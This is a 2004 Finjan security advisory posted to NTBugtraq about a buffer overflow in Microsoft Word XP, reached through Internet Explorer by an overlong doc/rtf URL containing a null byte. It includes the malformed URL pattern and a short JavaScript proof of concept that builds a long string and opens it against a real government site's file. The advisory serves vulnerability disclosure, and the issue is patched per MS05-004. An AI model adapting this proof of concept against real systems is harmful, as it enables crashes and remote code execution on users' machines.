

Finjan Security Advisory: Microsoft Office XP Remote Buffer Overflow Vulnerability

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From: Rafel Ivgi (rivgi_at_FINJAN.COM)

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To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

Finjan Security Advisory
Microsoft Office XP Remote Buffer Overflow Vulnerability

Introduction

Finjan has discovered a new vulnerability in Microsoft Word XP that would allow a hacker to launch a buffer overflow attack. This attack could occur when a user opened a Word document using Internet Explorer.

Technical Description

When a ".doc" file is opened inside Internet Explorer, Microsoft Word XP "takes over" and opens that doc file. The problem appears when sending a doc file request that contains a null byte (parser) at the end of the doc filename (the rtf extension is also vulnerable).

For example:

<http://www.myhost.com/myfile.doc> is a valid request.

However This:

<http://www.myhost.com/myfile.doc%00aaaaaaaaaaaaaaaaaaaaaa...aa.doc>

is an invalid request. Such a request will be sent to the server hosting the doc file.

Most servers like IIS and Apache will truncate the characters before the %00 while sending the filename to Internet Explorer.

At this stage, Internet Explorer will hand over the string to Microsoft Word XP, which will now receive a long string. This string causes an exploitable buffer overflow, allowing remote code execution.

The Code (Proof of Concept)

```
<Script>
var mylongstring,myjunk;
```

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```
mylongstring ="";
myjunk="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbb";
for(c=1;c<5000;c++)
{
  mylongstring = mylongstring + myjunk;
}
window.open("http://www.hhs.gov/ocr/privacysummary.rtf%0a"+mylongstring);
</script>
```

Vulnerability Status

Microsoft was notified on July 13, 2004.
The bug is now fixed. For further details please refer to Microsoft security bulletin MS05-004.

Credit

Rafel Ivgi, Malicious Code Research Center (MCRC), Finjan Software Ltd.

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